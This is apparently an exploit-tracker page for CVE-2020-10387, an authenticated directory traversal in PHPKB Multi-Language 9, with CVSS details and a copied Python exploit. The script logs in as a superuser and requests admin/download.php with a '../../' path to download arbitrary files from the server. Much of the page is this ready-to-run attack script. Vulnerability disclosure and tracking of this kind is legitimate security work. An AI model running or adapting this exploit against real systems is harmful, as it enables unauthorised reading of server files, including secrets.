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PHPKB Multi-Language 9 Authenticated Directory Traversal

CVE	Category	Price	Severity
CVE-2020-10387	CWE-22	$5000	High

Author	Risk	Exploitation Type	Date
Sensitive Data Exploitation	Critical	Remote	2020-03-16

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N	0.021314	0.70612

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020030075

Below is a copy:

PHPKB Multi-Language 9 Authenticated Directory Traversal

# Exploit Title: PHPKB Multi-Language 9 - Authenticated Directory Traversal
# Google Dork: N/A
# Date: 2020-03-15
# Exploit Author: Antonio Cannito
# Vendor Homepage: https://www.knowledgebase-script.com/
# Software Link: https://www.knowledgebase-script.com/pricing.php
# Version: Multi-Language v9
# Tested on: Windows 8.1 / PHP 7.4.3
# CVE : CVE-2020-10387
##########################


#!/usr/bin/env python3
import argparse
import requests
import shutil

#Parsing arguments
parser = argparse.ArgumentParser(description="Exploiting CVE-2020-10387 - Authenticated Arbitrary File Download in admin/download.php in Chadha PHPKB Standard Multi-Language 9")
parser.add_argument("url", type=str, help="PHPKB's base path")
parser.add_argument("username", type=str, help="Superuser username")
parser.add_argument("password", type=str, help="Superuser password")
parser.add_argument("file", type=str, help="The file you want to download (starting from PHPKB's base path)")
args = parser.parse_args()

session = requests.Session()
#Perform login
session.post(args.url + "/admin/login.php", data={'phpkb_username': args.username, 'phpkb_password': args.password, 'login': 'LOGIN'}).text
#Sending exploit code and downloading the file
url = args.url + "/admin/download.php?called=ajax&act=backup-lang&file=../../" + args.file
ext = url.split("/")[-1]
with open(ext, 'wb') as file:
    shutil.copyfileobj(session.get(url, stream=True).raw, file)
del session

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